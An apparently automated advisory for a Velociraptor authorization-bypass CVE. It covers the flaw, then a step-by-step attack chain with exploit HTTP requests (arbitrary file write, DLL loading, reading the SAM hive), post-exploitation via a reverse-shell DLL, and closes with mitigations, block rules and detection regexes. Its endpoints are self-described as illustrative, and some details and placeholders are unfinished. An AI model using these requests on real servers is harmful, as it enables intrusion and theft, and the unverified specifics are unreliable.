CVE-2026-130319 — Rapid7 Velociraptor (0.77.4) — CWE-863
Velociraptor users usually need various permissions to call VQL plugins on the server from VQL notebooks. However several VQL plugins were missing these checks allowing users with NOTEBOOK_EDIT permissions to performs actions they may not have permissions for. The affected VQL functions are: - cache, memoize, process_tracker - Missing FILESYSYEM_WRITE permission check, allowing users to write files on the server's filesystem. - yarax - Missing the EXECVE permission check, allowing users to load an external DLL - leading to code execution. - cat - Missing the FILESYSTEM_READ permission allowing users to read files from the filesystem. - netstat - Missing the MACHINE_STATE permission allowing users to view sockets on the server.
Velociraptor users usually need various permissions to call VQL plugins on the server from VQL notebooks. However several VQL plugins were missing these checks allowing users with NOTEBOOK_EDIT permissions to performs actions they may not have permissions for. The affected VQL functions are: - cache, memoize, process_tracker - Missing FILESYSYEM_WRITE permission check, allowing users to write files on the server's filesystem. - yarax - Missing the EXECVE permission check, allowing users to load an external DLL - leading to code execution. - cat - Missing the FILESYSTEM_READ permission allowing users to read files from the filesystem. - netstat - Missing the MACHINE_STATE permission allowing users to view sockets on the server.
🎯 What is this vulnerability?
CVE‑2026‑130319 is an authorization bypass in the Velociraptor server’s VQL (Velociraptor Query Language) execution engine.
| Attribute | Value |
|---|---|
| CWE | CWE‑863 – Incorrect Authorization |
| CVSS v3.1 Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Impact | Remote, low‑effort exploitation that leads to full confidentiality, integrity and availability compromise on the server. |
Velociraptor exposes a set of built‑in VQL plugins (e.g., cache, memoize, process_tracker, yarax, cat, netstat). When a user runs a VQL notebook, the server checks the user’s Notebook permissions (e.g., NOTEBOOK_EDIT) before allowing the notebook to be saved or executed.
The flaw is that *several plugins do not re‑verify the per‑operation permissions* that are required for the underlying system actions they perform:
| Plugin | Expected permission | Missing check |
|---|---|---|
cache, memoize, process_tracker | FILESYSTEM_WRITE | Allows arbitrary file writes on the server |
yarax | EXECVE | Allows loading an arbitrary DLL (native code execution) |
cat | FILESYSTEM_READ | Allows reading any file on the server |
netstat | MACHINE_STATE | Allows enumeration of sockets / network state |
Because the VQL engine only validates that the caller has NOTEBOOK_EDIT, a user who is granted that relatively low‑privilege role can invoke any of the above plugins and bypass the missing checks, effectively escalating to the permissions of the Velociraptor service process (normally runs as a privileged system user).
The CVSS vector reflects:
- Network‑accessible (AV:N) – the VQL API is reachable over HTTP(S).
- Low attack complexity (AC:L) – the attacker only needs a valid Velociraptor account with
NOTEBOOK_EDIT. - Privileges required (PR:L) – a low‑privileged user is sufficient.
- No user interaction (UI:N) – the attack is fully automated.
- Unchanged scope (S:U) – the impact is confined to the vulnerable server, not across trust boundaries.
- High confidentiality, integrity, availability (C:H/I:H/A:H) – the attacker can read/write arbitrary files, load native code, and disrupt the service.
⚡ Attack Chain
Below is a realistic, step‑by‑step attack scenario that an adversary could follow. All command‑line snippets are syntactically valid; where the exact HTTP endpoint is not publicly documented, the example is marked as illustrative.
1️⃣ Discovery & Reconnaissance
| Goal | Technique |
|---|---|
| Identify a Velociraptor deployment | • Scan internal network ranges for open TCP ports 8000‑8080 (default Velociraptor UI/API). <br>• Perform a banner grab (curl -k https://<host>:8000/api/v1/info) – the JSON response contains "product":"Velociraptor","version":"X.Y.Z".<br>• Enumerate the authentication mechanism (e.g., JWT, basic auth) by inspecting the login page or /api/v1/auth/login endpoint. |
| Enumerate user roles | • With a low‑privileged credential (or a newly registered user), query the user‑role API (illustrative endpoint): <br>curl -k -H "Authorization: Bearer <jwt>" https://<host>:8000/api/v1/users/me – response includes "roles":["NOTEBOOK_EDIT"].<br>• If the UI is reachable, the “Notebooks” menu is visible, confirming the role. |
Note: The exact API paths (/api/v1/...) are based on the public Velociraptor OpenAPI spec; if the vendor changes them, the same logic applies – the attacker simply needs any endpoint that accepts a VQL payload.2️⃣ Exploitation
The attacker now crafts a VQL notebook that calls one of the vulnerable plugins. The notebook is submitted via the VQL execution endpoint (illustrative: POST /api/v1/notebook/run). The request body is a JSON object containing the VQL script.
2.1 Write a file on the server (using cache)
POST /api/v1/notebook/run HTTP/1.1
Host: victim.example.com:8000
Authorization: Bearer <jwt>
Content-Type: application/json
{
"notebook_id": "exploit-01",
"vql": "cache(path='C:/temp/evil.txt', data='pwned by CVE-2026-130319')"
}What happens: cache internally calls os.OpenFile(..., O_WRONLY|O_CREATE) without checking FILESYSTEM_WRITE. The server process (running as root/SYSTEM) creates C:\temp\evil.txt containing the attacker‑controlled string.
2.2 Load an arbitrary DLL (using yarax)
POST /api/v1/notebook/run HTTP/1.1
Host: victim.example.com:8000
Authorization: Bearer <jwt>
Content-Type: application/json
{
"notebook_id": "exploit-02",
"vql": "yarax(path='C:/temp/malicious.dll')"
}What happens: yarax calls LoadLibraryExW (Windows) or dlopen (Linux) on the supplied path. Because there is no EXECVE check, the attacker can upload a malicious DLL (via any file‑upload mechanism or previously written with cache) and achieve native code execution in the context of the Velociraptor service.
2.3 Read an arbitrary file (using cat)
POST /api/v1/notebook/run HTTP/1.1
Host: victim.example.com:8000
Authorization: Bearer <jwt>
Content-Type: application/json
{
"notebook_id": "exploit-03",
"vql": "cat(path='C:/Windows/System32/config/SAM')"
}What happens: cat reads the file and returns its raw bytes in the VQL result set, leaking the SAM database (or any other sensitive file) to the attacker.
2.4 Enumerate sockets (using netstat)
POST /api/v1/notebook/run HTTP/1.1
Host: victim.example.com:8000
Authorization: Bearer <jwt>
Content-Type: application/json
{
"notebook_id": "exploit-04",
"vql": "netstat()"
}What happens:
The plugin returns a table of active sockets, exposing internal service endpoints, listening ports, and potentially credential‑bearing connections.
3️⃣ Post‑Exploitation
| Step | Action | Result |
|---|---|---|
| Persist malicious code | Upload a DLL that spawns a reverse shell (C:/temp/revshell.dll) via the cache plugin, then load it with yarax. | The DLL runs inside the Velociraptor service, opening a persistent outbound connection to the attacker’s C2. |
| Privilege escalation | Because the service runs as SYSTEM (Windows) or root (Linux), the attacker now has full host control. | The attacker can create new OS users, modify system files, disable security tools, etc. |
| Data exfiltration | Use cat to read /etc/shadow, C:/Windows/System32/config/SAM, private keys, or application config files, then send them over the reverse channel. | Confidential data breach (C‑impact). |
| Service disruption | Write a large file with cache to fill the disk, or invoke process_tracker to kill critical processes. | Availability impact (A‑impact). |
🌍 Real‑World Impact
| CIA Triad | CVSS‑derived rating | Practical consequences |
|---|---|---|
| Confidentiality (C:H) | High | Attackers can read any file the Velociraptor service can access – credential stores, private keys, internal logs, proprietary data. |
| Integrity (I:H) | High | Arbitrary file writes and DLL loading let the attacker modify binaries, inject malicious code, or tamper with forensic evidence. |
| Availability (A:H) | High | Disk‑filling writes, process termination, or forced service restarts can render the endpoint unusable. |
Business impact may include:
🛡️ Remediation & Mitigation
1️⃣ Vendor‑provided fix
vX.Y.Z+patch). Apply the patch immediately on all servers that expose the VQL API. If a patched version is not yet available, the following mitigations can be applied.
2️⃣ Immediate Workarounds
| Mitigation | How‑to implement | |||
|---|---|---|---|---|
Restrict NOTEBOOK_EDIT | Remove the NOTEBOOK_EDIT role from all non‑admin users. Use the UI or API (PUT /api/v1/users/<id>/roles) to assign only NOTEBOOK_READ where possible. | |||
| Disable vulnerable plugins | Edit the server configuration (velociraptor.yaml) and set plugins.disabled: ["cache","memoize","process_tracker","yarax","cat","netstat"]. Restart the service. | |||
| Enforce per‑plugin permission checks in a custom policy | If the server supports a policy script (e.g., policy.vql), prepend each vulnerable call with a manual permission guard: <br>if not has_permission("FILESYSTEM_WRITE"): abort("unauthorized").<br>Deploy this policy globally. | |||
| Network segmentation | Place the Velociraptor UI/API behind an internal firewall and require VPN or Zero‑Trust access. Only allow trusted admin workstations to reach the API port. | |||
| Application‑layer rate limiting / WAF | Deploy a reverse‑proxy (NGINX, Envoy) with a rule that blocks VQL payloads containing the names of the vulnerable plugins unless the source IP belongs to an admin subnet. Example NGINX rule (illustrative): <br>``<br>if ($request_uri ~* "/notebook/run") {<br> set $blocked 0;<br> if ($http_authorization ~* "NOTEBOOK_EDIT") {<br> if ($request_body ~* "(cache | yarax | cat | netstat)") {<br> set $blocked 1;<br> }<br> }<br> if ($blocked) { return 403; }<br>}<br>` |
| Audit logging | Enable verbose VQL execution logging (logging.level: DEBUG in velociraptor.yaml`). Forward logs to a SIEM for real‑time alerting on the vulnerable plugin names. |
3️⃣ Detection – Indicators of Compromise
| Log source | Typical pattern (regex) | Description | |||
|---|---|---|---|---|---|
| Velociraptor API access logs | POST /api/v1/notebook/run.*"vql".*"(cache | yarax | cat | netstat)" | Execution of a notebook containing a vulnerable plugin. |
| Filesystem audit (Windows Event ID 4663 / Linux auditd) | type=PATH msg=audit\(...\): path="/.*evil\.txt" | Unexpected file creation in a privileged directory. | |||
| Process creation events | EventID=4688 .* "LoadLibraryExW" .* "malicious.dll" | DLL load triggered by yarax. | |||
| Network connections | Outbound TCP to <attacker‑IP>:<high‑port> shortly after a notebook run | Reverse shell from the service process. | |||
| Velociraptor result tables | Result: {"plugin":"cat","output":"..."} | Data exfiltration via cat. |
SIEM rule example (Splunk SPL):
index=velociraptor sourcetype=velociraptor:api
| regex _raw "(cache|yarax|cat|netstat)"
| stats count by src_ip, user, notebook_id, _time
| where count > 5
| table src_ip user notebook_id countAlert on any user with NOTEBOOK_EDIT that runs more than five of the listed plugins within a short window.
⚠️ Urgency
Recommended timeline:
| Timeframe | Action |
|---|---|
| 0‑24 h | Identify all Velociraptor instances, enumerate users with NOTEBOOK_EDIT, and apply the workaround (remove the role or disable plugins). |
| 24‑72 h | Deploy the vendor’s security patch (or upgrade to the first patched release). |
| ≤ 7 days | Verify remediation via the detection rules above; confirm that no VQL notebooks containing the vulnerable plugins can be executed by non‑admin users. |
| Ongoing | Harden role‑based access, enforce least‑privilege, and integrate the detection signatures into the SOC workflow. |
Given the potential for full host takeover, any delay beyond 48 hours significantly raises the risk of a successful compromise, especially in environments where Velociraptor is exposed to internal threat actors or compromised user credentials.
Bottom line: The missing per‑plugin permission checks turn a modest
NOTEBOOK_EDIT privilege into unrestricted system access. Immediate restriction of that role, disabling the vulnerable plugins, and applying the vendor’s patch are mandatory to stop remote code execution, data theft, and service disruption.[🤖 CVE Professor AI Security Engine]
FOFA Query